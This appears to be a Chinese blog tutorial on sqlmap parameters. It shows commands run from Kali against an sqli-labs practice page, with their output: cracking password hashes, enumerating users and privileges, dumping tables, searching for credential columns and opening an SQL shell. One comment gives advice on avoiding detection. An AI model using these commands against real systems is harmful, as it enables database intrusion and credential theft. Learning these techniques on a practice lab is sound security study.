[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt]
[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
database management system users password hashes:
[*] postgres [1]:password hash: md5d7d880f96044b72d0bba108ace96d1e4clear-text password: testpass
[*] testuser [1]:password hash: md599e5ea7a6f7c3269995cba3927fd0093clear-text password: testpass
以上例子中,sqlmap 不僅枚舉了 DBMS 用戶及其密碼,而且識別出密碼哈希格式屬于PostgreSQL,并詢問用戶是否使用字典文件進行散列測試,并識別出了用戶 postgres 的明文密碼,它通常是 DBA,被識別出的還有用戶 testuser 的密碼。
對于可以枚舉用戶密碼哈希的 DBMS 都已實現了此功能,包括 Oracle 和 Microsoft SQL Server 2005 及后續版本。
你還可以使用 -U 選項來指定要枚舉的特定用戶,并破解其對應密碼哈希。如果你提供 CU 作為用戶名,它會將其視為當前用戶的別名,并將獲取此用戶的密碼哈希值。
## 爆破密碼
┌──(kali2021?kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch --passwords
列出 DBMS 所有用戶權限: --privileges
開關:--privileges
如果當前會話用戶對包含 DBMS 用戶信息的系統表有讀取權限,則可以枚舉出每個 DBMS 用戶的權限。根據權限信息,sqlmap 還將顯示出哪些是數據庫管理員。
你還可以使用 -U 選項來指定要枚舉出權限的用戶。
如果你提供 CU 作為用戶名,它會將其視為當前用戶的別名,并將獲取此用戶的權限信息。
在 Microsoft SQL Server 中,此功能將顯示每個用戶是否為數據庫管理員,而不是所有用戶的權限列表。
## 顯示數據庫系統的所有用戶,并包含權限
┌──(kali2021?kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch --privileges## 只列舉root用戶的所有權限
┌──(kali2021?kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch --privileges -U root'@'localhost
列出 DBMS 所有用戶角色: --roles
開關:--roles
如果當前會話用戶對包含 DBMS 用戶信息的系統表有讀取權限,則可以枚舉出每個 DBMS 用戶的角色。
你還可以使用 -U 選項來指定要枚舉出角色的用戶。
如果你提供 CU 作為用戶名,它會將其視為當前用戶的別名,并將獲取此用戶的角色信息。
此功能僅在 DBMS 為 Oracle 時可用。
## mysql數據庫執行結果與--privileages一致
┌──(kali2021?kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch --roles
列出 DBMS 所有數據庫 : --dbs
開關:--dbs
如果當前會話用戶對包含 DBMS 可用數據庫信息的系統表有讀取權限,則可以枚舉出當前數據庫列表。
## 列出所有的數據庫
┌──(kali2021?kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch --dbs
枚舉數據表 : --tables , --exclude-sysdbs , -D
- 開關和選項:
--tables,--exclude-sysdbs和-D
如果當前會話用戶對包含 DBMS 數據表信息的系統表有讀取權限,則可以枚舉出特定 DBMS 的數據表。
如果你不使用選項 -D 來指定數據庫,則 sqlmap 將枚舉所有 DBMS 數據庫的表。
你還可以提供開關 --exclude-sysdbs 以排除所有的系統數據庫。
注意,對于 Oracle,你需要提供 TABLESPACE_NAME 而不是數據庫名稱。
## 先獲取所有數據庫名稱
┌──(kali2021?kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch --dbs## 然后再獲取,當前數據庫下的表
┌──(kali2021?kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch -D security --tables## 也可以不指定-D,使用--exclude-sysdbs,不查詢那些數據庫
┌──(kali2021?kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch --exclude-sysdbs "challenges,information_schema,mysql,performance_schema,sys" --tables
枚舉數據表的列名: --columns , -C , -T , -D
開關和選項:--columns,-C,-T 和 -D
如果當前會話用戶對包含 DBMS 數據表信息的系統表有讀取權限,則可以枚舉出特定數據表的列名。sqlmap 還將枚舉所有列的數據類型。
此功能可使用選項 -T 來指定表名,還可以使用選項 -D 來指定數據庫名稱。如果未指定數據庫名稱,將使用當前的數據庫名稱。你還可以使用選項 -C 來指定要枚舉的表列名。
針對 SQLite 目標的示例:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" -\
-columns -D testdb -T users -C name
[...]
Database: SQLite_masterdb
Table: users
[3 columns]
+---------+---------+
| Column | Type |
+---------+---------+
| id | INTEGER |
| name | TEXT |
| surname | TEXT |
+---------+---------+
注意,對于 PostgreSQL,你需要提供 public 或系統數據庫的名稱。這是因為不可能枚舉其他數據庫表,只能枚舉出 Web 應用程序用戶連接到的數據庫模式下的表,它們總是以 public 為別名。
枚舉 DBMS 模式(慎用): --schema 和 --exclude-sysdbs
- 開關:
--schema和--exclude-sysdbs
用戶可以使用此開關獲取 DBMS 模式。
模式列表將包含所有數據庫、表和列以及它們各自的類型。
結合 --exclude-sysdbs,只有包含非系統數據庫的模式才會被獲取并顯示出來。
針對 MySQL 目標的示例:
$ python sqlmap.py -u "http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" --schema --batch --exclude-sysdbs[...]
Database: owasp10
Table: accounts
[4 columns]
+-------------+---------+
| Column | Type |
+-------------+---------+
| cid | int(11) |
| mysignature | text |
| password | text |
| username | text |
+-------------+---------+Database: owasp10
Table: blogs_table
[4 columns]
+--------------+----------+
| Column | Type |
+--------------+----------+
| date | datetime |
| blogger_name | text |
| cid | int(11) |
| comment | text |
+--------------+----------+Database: owasp10
Table: hitlog
[6 columns]
+----------+----------+
| Column | Type |
+----------+----------+
| date | datetime |
| browser | text |
| cid | int(11) |
| hostname | text |
| ip | text |
| referer | text |
+----------+----------+Database: testdb
Table: users
[3 columns]
+---------+---------------+
| Column | Type |
+---------+---------------+
| id | int(11) |
| name | varchar(500) |
| surname | varchar(1000) |
+---------+---------------+
[...]
## 慎用,數據量驚人,必須確定指定某個庫最好## --schema 獲取所有數據庫中的表結構數據## --exclude-sysdbs 排除部分數據庫
## 單獨使用--schema 會獲取所有數據庫中的所有表的數據結構,需要與exclude-sysdbs聯合使用,聯合使用獲取部分數據庫結構┌──(kali2021?kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch --exclude-sysdbs "challenges,information_schema,mysql,performance_schema,sys" --schema## 查詢擁有username 字段的表,并默認顯示所屬數據庫
┌──(kali2021?kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --search -C username## 建議指定 -D 所屬數據庫
┌──(kali2021?kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --search -T users --batch
獲取數據表的數據條目數: --count
- 開關:
--count
如果用戶想要在導出所需表數據之前知道表中的條目數,可以使用此開關。
針對 Microsoft SQL Server 目標的示例:
## 獲取security數據庫中所有表的數據條數
┌──(kali2021?kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch --count -D security
$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1"\--count -D testdb
[...]
Database: testdb
+----------------+---------+
| Table | Entries |
+----------------+---------+
| dbo.users | 4 |
| dbo.users_blob | 2 |
+----------------+---------+
導出數據表條目
開關和選項:--dump,-C,-T,-D,--start,--stop,--first,--last,--pivot-column 和 --where
如果當前會話用戶對特定的數據表有讀取權限,則可以導出數據表條目。
此功能依賴選項 -T 來指定表名,還可以用選項 -D 來指定數據庫名稱。如果提供了表名而不提供數據庫名,則會使用當前的數據庫。
針對 Firebird 目標的示例:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1"\--dump -T users
[...]
Database: Firebird_masterdb
Table: USERS
[4 entries]
+----+--------+------------+
| ID | NAME | SURNAME |
+----+--------+------------+
| 1 | luther | blisset |
| 2 | fluffy | bunny |
| 3 | wu | ming |
| 4 | NULL | nameisnull |
+----+--------+------------+
此開關也可用于導出指定數據庫數據表的所有條目。你只需要提供開關 --dump 和選項 -D(不提供 -T 和 -C)。
你還可以使用選項 -C 提供一個以逗號分隔的特定列名列表來導出數據。
sqlmap 還能會為每個表生成相應的 CSV 格式文本文件用于存儲導出的數據。你可以通過提供大于或等于 1 的詳細程度級別來查看 sqlmap 所創建文件的絕對路徑。
-
如果只是想導出特定范圍的條目,可以提供選項
--start和/或--stop,以指定要從哪條數據開始導出和在哪條數據停止。例如,如果僅導出第一個條目,就在命令行中提供--stop 1。或者如果你只想導出第二和第三個條目,就提供--start 1--stop 3。 -
還可以使用選項
--first和--last指定要導出的單個字符或特定范圍的字符。例如,如果要導出條目的第三到第五個字符,就提供--first 3--last 5。此功能僅適用于盲注技術,因為報錯型注入(Error-based)和聯合查詢注入(UNION query-based)技術不管列數據條目的長度如何,發起的請求數量是完全相同的。 -
有些情況下(例如:對于 Microsoft SQL Server,Sybase 和 SAP MaxDB),由于缺少類似的機制,無法使用
OFFSET m, n直接導出表的數據。在這種情況下,sqlmap 通過確定最適合的pivot列(具有唯一值的列,一般是主鍵),并使用該列檢索其他列值,以此來導出數據。如果因為自動選擇的pivot列不適用(例如:由于缺少表導出結果)而需要強制使用特定列,你可以使用選項--pivot-column(例如:--pivot-column=id)。 -
如果要約束導出特定的列值(或范圍),可以使用選項
--where。提供的邏輯運算將自動在WHERE子句內使用。例如,如果使用--where="id>3",那么只有id值大于 3 的行會被獲取(通過將WHERE id>3附加到使用的查詢語句中)。
正如你可能已經注意到的,sqlmap 非常靈活:你可以將讓其自動導出整個數據庫表,或者非常精確地導出特定字符、列和范圍的條目。
## -D 指定數據庫
## -T 指定當前數據庫下的表
## --columns 當前表結構
## -C 指定當前表的某幾個字段
## --dump 獲取指定表或字段列的數據
## --start 從第幾行開始獲取數據,例如 --start 1 獲取第一行后,包括第一行的數據
## --stop 獲取幾行數據,--stop 3 則獲取三條數據## 獲取security數據庫users表數據結構
┌──(kali2021?kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch -D security -T users --columns## 獲取security數據庫users表中的數據
┌──(kali2021?kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch -D security -T users --dump## 獲取security數據庫users表的前三行數據
┌──(kali2021?kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch -D security -T users --dump --stop 3## 獲取security數據庫users表的數據,從第二行后,包括第二行的所有數據
┌──(kali2021?kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch -D security -T users --dump --start 2## 獲取security數據庫users表的數據,從第二行開始到第四行介紹; 2,3,4(從第二條開始到第四條介紹)
┌──(kali2021?kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch -D security -T users --dump --start 2 --stop 4## 自定義where 過濾語句,查詢username 模糊匹配 admin ,并且password等于admin的數據
┌──(kali2021?kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch -D security -T users --dump --where "username like '%admin%' and password ='admin'"## 查詢當前表id,小于5的數據
┌──(kali2021?kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch -D security -T users --dump --where "id<5"
導出所有數據表條目
開關:--dump-all 和 --exclude-sysdbs
如果當前會話用戶的讀取權限允許,可以一次導出所有數據庫表條目。
你還可以提供開關 --exclude-sysdbs 以排除所有的系統數據庫。在這種情況下,sqlmap 只會導出當前用戶的數據庫表條目。
注意,對于 Microsoft SQL Server,master 數據庫不被視為系統數據庫,因為某些數據庫管理員將其用作用戶數據庫。
## --dump-all 命令與--all命令 效果差不多,都是獲取表的所有數據,存儲到本地
## --exclude-sysdbs 命令,是排除其他數據庫,選擇的數據庫不進行操作
┌──(kali2021?kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch --dump-all --exclude-sysdbs "challenges,information_schema,mysql,performance_schema,sys"
搜索列,表或數據庫: --search , -C , -T , -D
- 開關和選項:
--search,-C,-T,-D
此開關允許你在所有數據庫中搜索特定的數據庫名和表名,在特定的數據表中搜索特定的列名。
這非常有用,例如,要識別包含應用程序憑據的表,其中相關列的名稱包含諸如 name 和 pass 這樣的字符串。
開關 --search 需要與以下支持選項一起使用:
-C,附帶以逗號分隔的列名列表來搜索整個 DBMS。-T,附帶以逗號分隔的表名列表來搜索整個 DBMS。-D,附帶以逗號分隔的數據庫名列表來搜索整個 DBMS。
## 模糊查詢like '%%', security數據庫下是否有名叫users的表;
## 一定不能使用--batch,因為表查詢到后,他會詢問是否導出表數據,若模糊匹配結果表非常多,導出數據會非常的漫長,并且容易被發現,這不是我們想要的結果,切記┌──(kali2021?kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --search -D security -T users ## 模糊匹配所有數據庫下是否有user表
┌──(kali2021?kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --search -T user## 模糊匹配所有數據庫下所有表字段,是否有叫username的列
┌──(kali2021?kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --search -C username
運行自定義 SQL 語句: --sql-query 和 --sql-shell
- 選項和開關:
--sql-query和--sql-shell
SQL 查詢和 SQL shell 功能允許在 DBMS 上運行任意 SQL 語句。sqlmap 會自動解析提供的語句,確定哪種技術適合用于注入它,以及如何打包相應的 SQL payload。
如果查詢是 SELECT 語句,sqlmap 將獲取其輸出。否則,如果 Web 應用程序的后端 DBMS 支持多語句,它將通過堆疊查詢注入(Stacked queries)技術執行查詢。注意,某些 Web 應用程序技術不支持特定 DBMS 上的堆疊查詢。例如,當后端 DBMS 是 MySQL 時,PHP 不支持堆疊查詢,但是當后端 DBMS 是 PostgreSQL 時,它是支持的。
針對 Microsoft SQL Server 2000 目標的示例:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --\
sql-query "SELECT 'foo'" -v 1[...]
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
[hh:mm:14] [INFO] retrieved: foo
SELECT 'foo': 'foo'$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --\
sql-query "SELECT 'foo','bar'" -v 2[...]
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now
unpack it into distinct queries to be able to retrieve the output even if we aregoing blind
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS
VARCHAR(8000)), (CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VA
RCHAR(8000)), (CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
SELECT 'foo', 'bar': 'foo, bar'
如你所見,sqlmap 將提供的查詢分解為兩個不同的 SELECT 語句,然后單獨獲取每個查詢的輸出。
如果提供的查詢是一個 SELECT 語句并包含一個 FROM 子句,sqlmap 會詢問你是否可以返回多個條目。在這種情況下,它知道如何解析返回的結果,逐條計算指定的條目數量,并給出相關輸出。
SQL shell 選項允許你以交互方式運行自己的 SQL 語句,就像直接連接到 DBMS 的 SQL 控制臺。此功能還提供 TAB 補全和輸入歷史支持。
## --sql-query 效率很低,相當于全表掃描
## --sql-query查詢當前登錄用戶,數據庫版本,當前數據庫
┌──(kali2021?kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --sql-query "select user(),version(),database()"
## 結果如下:
[*] root@localhost, 5.7.27-log, security## --sql-query查詢,具體數據庫存儲路徑
┌──(kali2021?kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --sql-query "select @@datadir"
## 結果如下:
select @@datadir: '/www/mysql_data/mysql-5.7.27/data/'## --sql-query查詢,數據庫安裝路徑
┌──(kali2021?kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --sql-query "select @@basedir"
## 結果如下:
select @@basedir: '/usr/local/phpstudy/soft/mysql/mysql-5.7.27/'## --sql-query查詢,數據庫某個表數據
┌──(kali2021?kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --sql-query "select * from users limit 1,2"
## 結果如下:
select * from users limit 1,2 [2]:
[*] 2, I-kill-you, Angelina
[*] 3, p@ssword, Dummy
## --sql-shell,shell交互頁面進行sql語句查詢## 開啟sql-shell
┌──(kali2021?kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --sql-shell## 結果## 查詢當前數據庫管理系統,一共有多少個數據庫
sql-shell> select schema_name from information_schema.schemata## 查詢當前數據庫下,所有的表
sql-shell> select table_name from information_schema.tables where table_schema=database()## 查詢當前數據庫下的users表,數據結構
sql-shell> select column_name from information_schema.columns where table_name='users' and table_schema=database()
總結
以上是生活随笔為你收集整理的sqlmap重要参数详解+用法,解决入门难题的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: [JavaWeb-HTML]HTML标签
- 下一篇: android 漂亮的开源ui框架